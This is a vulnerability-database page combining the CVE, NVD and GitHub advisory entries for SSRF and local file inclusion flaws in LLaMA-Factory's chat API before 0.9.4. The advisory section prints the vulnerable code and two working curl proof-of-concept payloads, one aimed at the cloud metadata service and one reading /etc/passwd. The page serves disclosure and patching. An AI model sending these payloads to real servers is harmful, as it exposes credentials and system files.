cvelistv5 - cve-2025-61784

CVE-2025-61784 (GCVE-0-2025-61784)

Vulnerability from cvelistv5 – Published: 2025-10-07 19:01 – Updated: 2025-10-07 19:24

Title

LLaMA Factory's Chat API has Critical SSRF and LFI Vulnerabilities

Summary

LLaMA-Factory is a tuning library for large language models. Prior to version 0.9.4, a Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem. The vulnerability exists in the `_process_request` function within `src/llamafactory/api/chat.py.` This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (`os.path.isfile`). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using `requests.get(url, stream=True).raw` without any validation or sanitization of the URL. Version 0.9.4 fixes the underlying issue.

Severity ?

7.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

Tags

	https://github.com/hiyouga/LLaMA-Factory/security…	x_refsource_CONFIRM
	https://github.com/hiyouga/LLaMA-Factory/commit/9…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	hiyouga	LLaMA-Factory	Affected: < 0.9.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-61784",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-07T19:24:17.811030Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-07T19:24:20.791Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "LLaMA-Factory",
          "vendor": "hiyouga",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LLaMA-Factory is a tuning library for large language models. Prior to version 0.9.4, a Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem. The vulnerability exists in the `_process_request` function within `src/llamafactory/api/chat.py.` This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (`os.path.isfile`). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using `requests.get(url, stream=True).raw` without any validation or sanitization of the URL. Version 0.9.4 fixes the underlying issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 7.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-10-07T19:01:40.400Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g"
        },
        {
          "name": "https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"
        }
      ],
      "source": {
        "advisory": "GHSA-527m-2xhr-j27g",
        "discovery": "UNKNOWN"
      },
      "title": "LLaMA Factory\u0027s Chat API has Critical SSRF and LFI Vulnerabilities"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-61784",
    "datePublished": "2025-10-07T19:01:40.400Z",
    "dateReserved": "2025-09-30T19:43:49.902Z",
    "dateUpdated": "2025-10-07T19:24:20.791Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2025-61784\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2025-10-07T19:15:39.133\",\"lastModified\":\"2025-10-22T18:00:50.510\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"LLaMA-Factory is a tuning library for large language models. Prior to version 0.9.4, a Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem. The vulnerability exists in the `_process_request` function within `src/llamafactory/api/chat.py.` This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (`os.path.isfile`). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using `requests.get(url, stream=True).raw` without any validation or sanitization of the URL. Version 0.9.4 fixes the underlying issue.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L\",\"baseScore\":7.6,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":2.8,\"impactScore\":4.7},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\",\"baseScore\":8.1,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":5.2}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"},{\"lang\":\"en\",\"value\":\"CWE-918\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:hiyouga:llama-factory:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"0.9.4\",\"matchCriteriaId\":\"B9CFDBF9-20D2-4910-BD79-B1F8F7F60071\"}]}]}],\"references\":[{\"url\":\"https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]},{\"url\":\"https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-61784\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-10-07T19:24:17.811030Z\"}}}], \"references\": [{\"url\": \"https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-10-07T19:24:11.068Z\"}}], \"cna\": {\"title\": \"LLaMA Factory\u0027s Chat API has Critical SSRF and LFI Vulnerabilities\", \"source\": {\"advisory\": \"GHSA-527m-2xhr-j27g\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.6, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"LOW\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"hiyouga\", \"product\": \"LLaMA-Factory\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.9.4\"}]}], \"references\": [{\"url\": \"https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g\", \"name\": \"https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9\", \"name\": \"https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"LLaMA-Factory is a tuning library for large language models. Prior to version 0.9.4, a Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem. The vulnerability exists in the `_process_request` function within `src/llamafactory/api/chat.py.` This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (`os.path.isfile`). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using `requests.get(url, stream=True).raw` without any validation or sanitization of the URL. Version 0.9.4 fixes the underlying issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-918\", \"description\": \"CWE-918: Server-Side Request Forgery (SSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2025-10-07T19:01:40.400Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-61784\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-10-07T19:24:20.791Z\", \"dateReserved\": \"2025-09-30T19:43:49.902Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2025-10-07T19:01:40.400Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2025-61784

Vulnerability from fkie_nvd - Published: 2025-10-07 19:15 - Updated: 2025-10-22 18:00

Severity ?

7.6 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9	Patch
security-advisories@github.com	https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g	Exploit, Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g	Exploit, Third Party Advisory

Impacted products

	Vendor	Product	Version
	hiyouga	llama-factory	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:hiyouga:llama-factory:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B9CFDBF9-20D2-4910-BD79-B1F8F7F60071",
              "versionEndExcluding": "0.9.4",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LLaMA-Factory is a tuning library for large language models. Prior to version 0.9.4, a Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem. The vulnerability exists in the `_process_request` function within `src/llamafactory/api/chat.py.` This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (`os.path.isfile`). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using `requests.get(url, stream=True).raw` without any validation or sanitization of the URL. Version 0.9.4 fixes the underlying issue."
    }
  ],
  "id": "CVE-2025-61784",
  "lastModified": "2025-10-22T18:00:50.510",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-10-07T19:15:39.133",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-527M-2XHR-J27G

Vulnerability from github – Published: 2025-10-07 22:08 – Updated: 2025-10-07 22:08

Summary

LLaMA Factory's Chat API Contains Critical SSRF and LFI Vulnerabilities

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem.

Details

The vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.

The function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.

Vulnerable Code Snippets in _process_request:

# ...
        elif input_item.type == "image_url":
            # ...
            else:  # web uri
                image_stream = requests.get(image_url, stream=True).raw
# ...
        elif input_item.type == "video_url":
            # ...
            else:  # web uri
                video_stream = requests.get(video_url, stream=True).raw
# ...
        elif input_item.type == "audio_url":
            # ...
            else:  # web uri
                audio_stream = requests.get(audio_url, stream=True).raw
# ...

This vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.

PoC

To reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service. Start the LLaMA Factory API server. Use curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.

SSRF Payload:

curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
  "model": "your-model-name",
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "What is in this image?"
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "http://169.254.169.254/latest/meta-data/"
          }
        }
      ]
    }
  ]
}'

LFI Payload:

curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
  "model": "your-model-name",
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "What is in this image?"
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "/etc/passwd"
          }
        }
      ]
    }
  ]
}'

The server will make a request to the specified URL or read the specified local file.

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).

Impacted Component: The API server, specifically the /v1/chat/completions endpoint.

Who is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.

Severity ?

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "llamafactory"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T22:08:53Z",
    "nvd_published_at": "2025-10-07T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "## Summary ##\n\nA Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem.\n\n## Details ##\n\nThe vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.\n\nThe function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.\n\nVulnerable Code Snippets in _process_request:\n```\n# ...\n        elif input_item.type == \"image_url\":\n            # ...\n            else:  # web uri\n                image_stream = requests.get(image_url, stream=True).raw\n# ...\n        elif input_item.type == \"video_url\":\n            # ...\n            else:  # web uri\n                video_stream = requests.get(video_url, stream=True).raw\n# ...\n        elif input_item.type == \"audio_url\":\n            # ...\n            else:  # web uri\n                audio_stream = requests.get(audio_url, stream=True).raw\n# ...\n```\nThis vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.\n\n## PoC ##\n\nTo reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service. Start the LLaMA Factory API server. Use curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.\n\nSSRF Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://169.254.169.254/latest/meta-data/\"\n          }\n        }\n      ]\n    }\n  ]\n}\u0027\n```\nLFI Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"/etc/passwd\"\n          }\n        }\n      ]\n    }\n  ]\n}\u0027\n```\nThe server will make a request to the specified URL or read the specified local file.\n\n## Impact ##\n\n**Vulnerability Type**: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).\n\n**Impacted Component**: The API server, specifically the /v1/chat/completions endpoint.\n\n**Who is impacted**: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.",
  "id": "GHSA-527m-2xhr-j27g",
  "modified": "2025-10-07T22:08:53Z",
  "published": "2025-10-07T22:08:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hiyouga/LLaMA-Factory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LLaMA Factory\u0027s Chat API Contains Critical SSRF and LFI Vulnerabilities"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-61784 (GCVE-0-2025-61784)

FKIE_CVE-2025-61784

GHSA-527M-2XHR-J27G

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature